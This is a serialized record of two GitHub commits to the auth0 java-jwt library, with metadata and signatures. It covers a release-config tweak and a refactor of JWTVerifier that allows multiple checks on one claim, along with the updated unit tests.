+        assertThat(jwt.getSubject(), is("1234567890"));
     }
 
     // Exceptionsuau(4a84b46f52acf93f268b80e7ea4c63fff661717e}(sha(4a84b46f52acf93f268b80e7ea4c63fff661717enode_idEC_kwDOAQtL0doAKDRhODRiNDZmNTJhY2Y5M2YyNjhiODBlN2VhNGM2M2ZmZjY2MTcxN2Ucommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-19T15:27:32Zu	committer}(j"  GitHubj"  noreply@github.comj"  2022-10-19T15:27:32Zumessage,Merge branch 'master' into reenable-api-difftree}(jx"  (d7152ddffa51135c4b23b47f10e607ef60190e58url^https://api.github.com/repos/auth0/java-jwt/git/trees/d7152ddffa51135c4b23b47f10e607ef60190e58uj"  `https://api.github.com/repos/auth0/java-jwt/git/commits/4a84b46f52acf93f268b80e7ea4c63fff661717e
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUBdkCRBK7hj4Ov3rIwAAYtUIAI5du9rdCJx8GTvUYmzSuF+Q
StX7oYFJL6dyUOj2VycLDDeqlVzpYnn9uYfWXx4L9ctQeph9decxk/+f3Wszlbnj
nql/OSt7GE+bSsVgTgVTEs7SdHr7oXafH5tOfvyn2hiqqScdTZ2i15WEXdweo2vd
r4t/tvpWpmH5c+R5byGIFyVXBHl8wcEL1H/7bigrNeuYm6TWFPW7BBbgEtKpWgQq
bkDPauN6t0mFITSm1bi7O+k2O9HxsVuNUoZKo6NZGmy8YcAkOV2KJGLSAsplpj4n
gMdu4KqBsNq6l3JI/IBSKsXbT1uM5RotFvQGjhEIYpw0RjIifC/02gCNZr/uiEo=
=X1T+
-----END PGP SIGNATURE-----
payloadX0  tree d7152ddffa51135c4b23b47f10e607ef60190e58
parent a12909a3145539f1112c44e393ee450bc3e05bf5
parent e8808abb910bb2d3ea8da816e626a7df9fc543e9
author Jim Anderson <jim.anderson@auth0.com> 1666193252 -0500
committer GitHub <noreply@github.com> 1666193252 -0500

Merge branch 'master' into reenable-api-diffuuj"  \https://api.github.com/repos/auth0/java-jwt/commits/4a84b46f52acf93f268b80e7ea4c63fff661717ehtml_urlQhttps://github.com/auth0/java-jwt/commit/4a84b46f52acf93f268b80e7ea4c63fff661717ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4a84b46f52acf93f268b80e7ea4c63fff661717e/commentsj~"  }(login
jimmyjamesidJ7 jz"  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j"  'https://api.github.com/users/jimmyjamesj"  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj"  }(j"  web-flowj"  J/jz"  MDQ6VXNlcjE5ODY0NDQ3j"  4https://avatars.githubusercontent.com/u/19864447?v=4j"  h3j"  %https://api.github.com/users/web-flowj"  https://github.com/web-flowj"  /https://api.github.com/users/web-flow/followersj"  <https://api.github.com/users/web-flow/following{/other_user}j"  5https://api.github.com/users/web-flow/gists{/gist_id}j"  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j"  3https://api.github.com/users/web-flow/subscriptionsj"  *https://api.github.com/users/web-flow/orgsj"  +https://api.github.com/users/web-flow/reposj"  6https://api.github.com/users/web-flow/events{/privacy}j"  5https://api.github.com/users/web-flow/received_eventsj"  Userj"  uparents](}(jx"  (a12909a3145539f1112c44e393ee450bc3e05bf5j"  \https://api.github.com/repos/auth0/java-jwt/commits/a12909a3145539f1112c44e393ee450bc3e05bf5j"  Qhttps://github.com/auth0/java-jwt/commit/a12909a3145539f1112c44e393ee450bc3e05bf5u}(jx"  (e8808abb910bb2d3ea8da816e626a7df9fc543e9j"  \https://api.github.com/repos/auth0/java-jwt/commits/e8808abb910bb2d3ea8da816e626a7df9fc543e9j"  Qhttps://github.com/auth0/java-jwt/commit/e8808abb910bb2d3ea8da816e626a7df9fc543e9uestats}(totalK	additionsK	deletionsKufiles]}(jx"  (2bd0fdb33222abbec9292f30b3179b632d2fa338filename.shiprcstatusmodifiedj"  Kj"  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/4a84b46f52acf93f268b80e7ea4c63fff661717e/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/4a84b46f52acf93f268b80e7ea4c63fff661717e/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=4a84b46f52acf93f268b80e7ea4c63fff661717epatch@@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": []
+    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
   },
   "prefixVersion": false
 }
\ No newline at end of fileuau(af04b229327f863cdde7c41c77c076e39a6b3742}(sha(af04b229327f863cdde7c41c77c076e39a6b3742node_idEC_kwDOAQtL0doAKGFmMDRiMjI5MzI3Zjg2M2NkZGU3YzQxYzc3YzA3NmUzOWE2YjM3NDIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-13T09:35:02Zu	committer}(j"  GitHubj"  noreply@github.comj"  2022-04-13T09:35:02ZumessageX  [SDK-3231] Added support for multiple checks on a single claim (#573)

* Added support for multiple checks on a single claim

* Fix codecov CI failure

* Allow pseudo comparison for codecov

* Remove newly added parameters and check codecov disabled

* Reenabled changes check in codecov

* Trigger Build

* Refactor ExpectedCheckHolder from interfaces to impl package

* Refactored code to improve coverage reporttree}(j"  (241c0ce695cb2ca12822146c81fd39f1e7aab017url^https://api.github.com/repos/auth0/java-jwt/git/trees/241c0ce695cb2ca12822146c81fd39f1e7aab017uj#  `https://api.github.com/repos/auth0/java-jwt/git/commits/af04b229327f863cdde7c41c77c076e39a6b3742
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiVplGCRBK7hj4Ov3rIwAAB8EIAGuHR3EoSFMymAPVYNMP59SG
fpz+ujh8VlndqcCTREybXJDs9pZMmcbJjnQTcVREHxmNOveOATqt5x4CGymEHx+T
NrUlh1niaGYSJSDNkIF1Oi77fx8ZUYmKZeZYsvtt9riPpN9I8EUDAdDeM5OHGDMS
3s9zVXg8RBC1ngLku8SFT3fDZt1nWX9r43eOagYDfoyhCmlz9xh5xQ7/gf8hS31c
J5LiXWjDu38aileqUAw4bYZfxYCb30Il0aVa7QxXvV9dsXtHFZyAGyzQ/L/aIER3
tzfkBwKp+YdnBkkBlQMMvOlmtHa4zJsDfG4WBlV73f1zlVZnNukZfiwZnl/+PbA=
=bu5F
-----END PGP SIGNATURE-----
payloadX~  tree 241c0ce695cb2ca12822146c81fd39f1e7aab017
parent 0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc
author Poovamraj T T <poovamraj@gmail.com> 1649842502 +0530
committer GitHub <noreply@github.com> 1649842502 +0200

[SDK-3231] Added support for multiple checks on a single claim (#573)

* Added support for multiple checks on a single claim

* Fix codecov CI failure

* Allow pseudo comparison for codecov

* Remove newly added parameters and check codecov disabled

* Reenabled changes check in codecov

* Trigger Build

* Refactor ExpectedCheckHolder from interfaces to impl package

* Refactored code to improve coverage reportuuj#  \https://api.github.com/repos/auth0/java-jwt/commits/af04b229327f863cdde7c41c77c076e39a6b3742html_urlQhttps://github.com/auth0/java-jwt/commit/af04b229327f863cdde7c41c77c076e39a6b3742comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/af04b229327f863cdde7c41c77c076e39a6b3742/commentsj"  }(login	poovamrajidJ j"  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j#  &https://api.github.com/users/poovamrajj#  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj#  }(j#  web-flowj #  J/j"  MDQ6VXNlcjE5ODY0NDQ3j"#  4https://avatars.githubusercontent.com/u/19864447?v=4j$#  h3j#  %https://api.github.com/users/web-flowj#  https://github.com/web-flowj'#  /https://api.github.com/users/web-flow/followersj)#  <https://api.github.com/users/web-flow/following{/other_user}j+#  5https://api.github.com/users/web-flow/gists{/gist_id}j-#  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j/#  3https://api.github.com/users/web-flow/subscriptionsj1#  *https://api.github.com/users/web-flow/orgsj3#  +https://api.github.com/users/web-flow/reposj5#  6https://api.github.com/users/web-flow/events{/privacy}j7#  5https://api.github.com/users/web-flow/received_eventsj9#  Userj;#  uparents]}(j"  (0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcj#  \https://api.github.com/repos/auth0/java-jwt/commits/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcj#  Qhttps://github.com/auth0/java-jwt/commit/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcuastats}(totalM	additionsM	deletionsKufiles](}(j"  (801dac24bd8534d0a8596c71f07ff4eaee419c82filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjU#  K_jV#  K:changesKblob_urlhttps://github.com/auth0/java-jwt/blob/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=af04b229327f863cdde7c41c77c076e39a6b3742patchX?  @@ -6,6 +6,7 @@
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
+import com.auth0.jwt.impl.ExpectedCheckHolder;
 import com.auth0.jwt.interfaces.Verification;
 
 import java.time.Clock;
@@ -25,12 +26,12 @@
  */
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
+    final List<ExpectedCheckHolder> expectedChecks;
     private final JWTParser parser;
 
-    JWTVerifier(Algorithm algorithm, Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks) {
+    JWTVerifier(Algorithm algorithm, List<ExpectedCheckHolder> expectedChecks) {
         this.algorithm = algorithm;
-        this.expectedChecks = Collections.unmodifiableMap(expectedChecks);
+        this.expectedChecks = Collections.unmodifiableList(expectedChecks);
         this.parser = new JWTParser();
     }
 
@@ -50,7 +51,7 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
+        private final List<ExpectedCheckHolder> expectedChecks;
         private long defaultLeeway;
         private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
@@ -62,15 +63,18 @@ public static class BaseVerification implements Verification {
             }
 
             this.algorithm = algorithm;
-            this.expectedChecks = new LinkedHashMap<>();
+            this.expectedChecks = new ArrayList<>();
             this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
-            checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
+            addCheck(PublicClaims.ISSUER, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
                 if (value == null || !value.contains(claim.asString())) {
                     throw new IncorrectClaimException(
                             "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
@@ -82,23 +86,40 @@ public Verification withIssuer(String... issuer) {
 
         @Override
         public Verification withSubject(String subject) {
-            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
+            addCheck(PublicClaims.SUBJECT, (claim, decodedJWT) ->
+                    verifyNull(claim, subject) || subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
+            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
+                if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, true)) {
+                    throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
+                            PublicClaims.AUDIENCE, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
+            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
+                if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, false)) {
+                    throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
+                            PublicClaims.AUDIENCE, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
@@ -138,14 +159,16 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
+            addCheck(PublicClaims.JWT_ID, ((claim, decodedJWT) ->
+                    verifyNull(claim, jwtId) || jwtId.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            withClaim(name, ((claim, decodedJWT) -> assertClaimPresence(name, claim)));
+            //since addCheck already checks presence, we just return true
+            withClaim(name, ((claim, decodedJWT) -> true));
             return this;
         }
 
@@ -159,35 +182,40 @@ public Verification withNullClaim(String name) throws IllegalArgumentException {
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asBoolean())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asInt())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asLong())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asDouble())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asString())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asString())));
             return this;
         }
 
@@ -201,37 +229,42 @@ public Verification withClaim(String name, Instant value) throws IllegalArgument
             assertNonNull(name);
             // Since date-time claims are serialized as epoch seconds,
             // we need to compare them with only seconds-granularity
-            checkIfNeedToRemove(name, value,
-                    ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
+            addCheck(name,
+                    ((claim, decodedJWT) -> verifyNull(claim, value)
+                            || value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)
                 throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, predicate, predicate);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, predicate)
+                    || predicate.test(claim, decodedJWT)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
@@ -268,13 +301,13 @@ private void addMandatoryClaimChecks() {
             long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
             long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
 
-            expectedChecks.put(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
-            expectedChecks.put(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
+            expectedChecks.add(constructExpectedCheck(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
+            expectedChecks.add(constructExpectedCheck(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
             if (!ignoreIssuedAt) {
-                expectedChecks.put(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
-                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false));
+                expectedChecks.add(constructExpectedCheck(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
             }
         }
 
@@ -294,8 +327,7 @@ private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimVa
                     }
                 }
             } else {
-                claimArr = claim.isNull() || claim.isMissing()
-                        ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
+                claimArr = Arrays.asList(claim.as(Object[].class));
             }
             List<Object> valueArr = Arrays.asList(expectedClaimValue);
             return claimArr.containsAll(valueArr);
@@ -329,24 +361,12 @@ private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now)
         }
 
         private boolean assertValidAudienceClaim(
-                Claim claim,
                 List<String> audience,
                 List<String> values,
                 boolean shouldContainAll
         ) {
-            if (audience == null || (shouldContainAll && !audience.containsAll(values))
-                    || (!shouldContainAll && Collections.disjoint(audience, values))) {
-                throw new IncorrectClaimException(
-                        "The Claim 'aud' value doesn't contain the required audience.", PublicClaims.AUDIENCE, claim);
-            }
-            return true;
-        }
-
-        private boolean assertClaimPresence(String name, Claim claim) {
-            if (claim.isMissing()) {
-                throw new MissingClaimException(name);
-            }
-            return true;
+            return !(audience == null || (shouldContainAll && !audience.containsAll(values))
+                    || (!shouldContainAll && Collections.disjoint(audience, values)));
         }
 
         private void assertPositive(long leeway) {
@@ -361,13 +381,31 @@ private void assertNonNull(String name) {
             }
         }
 
-        private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, DecodedJWT> predicate) {
-            if (value == null) {
-                expectedChecks.remove(name);
-                return;
-            }
-            expectedChecks.put(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
-                    && predicate.test(claim, decodedJWT));
+        private void addCheck(String name, BiPredicate<Claim, DecodedJWT> predicate) {
+            expectedChecks.add(constructExpectedCheck(name, (claim, decodedJWT) -> {
+                if (claim.isMissing()) {
+                    throw new MissingClaimException(name);
+                }
+                return predicate.test(claim, decodedJWT);
+            }));
+        }
+
+        private ExpectedCheckHolder constructExpectedCheck(String claimName, BiPredicate<Claim, DecodedJWT> check) {
+            return new ExpectedCheckHolder() {
+                @Override
+                public String getClaimName() {
+                    return claimName;
+                }
+
+                @Override
+                public boolean verify(Claim claim, DecodedJWT decodedJWT) {
+                    return check.test(claim, decodedJWT);
+                }
+            };
+        }
+
+        private boolean verifyNull(Claim claim, Object value) {
+            return value == null && claim.isNull();
         }
 
         private boolean isNullOrEmpty(String[] args) {
@@ -431,15 +469,14 @@ private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims)
+    private void verifyClaims(DecodedJWT jwt, List<ExpectedCheckHolder> expectedChecks)
             throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
+        for (ExpectedCheckHolder expectedCheck : expectedChecks) {
             boolean isValid;
-            String claimName = entry.getKey();
-            BiPredicate<Claim, DecodedJWT> expectedCheck = entry.getValue();
+            String claimName = expectedCheck.getClaimName();
             Claim claim = jwt.getClaim(claimName);
 
-            isValid = expectedCheck.test(claim, jwt);
+            isValid = expectedCheck.verify(claim, jwt);
 
             if (!isValid) {
                 throw new IncorrectClaimException(uC      }(j"  (6737031c32b91ff1d666e35e16f317fc81664ed8j[#  =lib/src/main/java/com/auth0/jwt/impl/ExpectedCheckHolder.javaj]#  addedjU#  KjV#  K j_#  Kj`#  https://github.com/auth0/java-jwt/blob/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.javajb#  https://github.com/auth0/java-jwt/raw/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.javajd#  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.java?ref=af04b229327f863cdde7c41c77c076e39a6b3742jf#  X  @@ -0,0 +1,25 @@
+package com.auth0.jwt.impl;
+
+import com.auth0.jwt.interfaces.Claim;
+import com.auth0.jwt.interfaces.DecodedJWT;
+
+/**
+ * This holds the checks that are run to verify a JWT.
+ */
+public interface ExpectedCheckHolder {
+    /**
+     * The claim name that will be checked.
+     *
+     * @return the claim name
+     */
+    String getClaimName();
+
+    /**
+     * The verification that will be run.
+     *
+     * @param claim the claim for which verification is done
+     * @param decodedJWT the JWT on which verification is done
+     * @return whether the verification passed or not
+     */
+    boolean verify(Claim claim, DecodedJWT decodedJWT);
+}u}(j"  (72e5656f2ccc487a87470c9f399ad4ef656066c7j[#  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj]#  modifiedjU#  KjV#  KOj_#  Kj`#  https://github.com/auth0/java-jwt/blob/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajb#  https://github.com/auth0/java-jwt/raw/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajd#  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=af04b229327f863cdde7c41c77c076e39a6b3742jf#  X:  @@ -56,8 +56,18 @@ public void shouldValidateIssuer() {
                 .withIssuer("auth0")
                 .build()
                 .verify(token);
-
         assertThat(jwt, is(notNullValue()));
+
+        //  "iss": ["auth0", "okta"]
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, ()-> {
+            String token1 = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer((String[]) null)
+                    .build()
+                    .verify(token1);
+        });
+
+        assertThat(e.getClaimName(), is("iss"));
     }
 
     @Test
@@ -179,7 +189,7 @@ public void shouldAllowWithAnyOfAudienceVerificationToOverrideWithAudience() {
         assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
-        DecodedJWT jwt = verification.withAnyOfAudience("Mark", "Jim").build().verify(token);
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret")).withAnyOfAudience("Mark", "Jim").build().verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
@@ -201,7 +211,7 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
         assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
-        DecodedJWT jwt = verification.withAudience("Mark").build().verify(token);
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret")).withAudience("Mark").build().verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
@@ -303,75 +313,15 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullReference() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
-
-        verifier = JWTVerifier.init(algorithm)
+    public void shouldNotReplaceWhenMultipleChecksAreAdded() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
-
-        verifier = JWTVerifier.init(algorithm)
                 .withAudience()
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNull() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAudience("John")
-                .withAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAudience("John")
-                .withAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience("John")
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
+                .withAnyOfAudience()
                 .build();
 
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks.size(), is(7)); //3 extra mandatory checks exp, nbf, iat
     }
 
     @Test
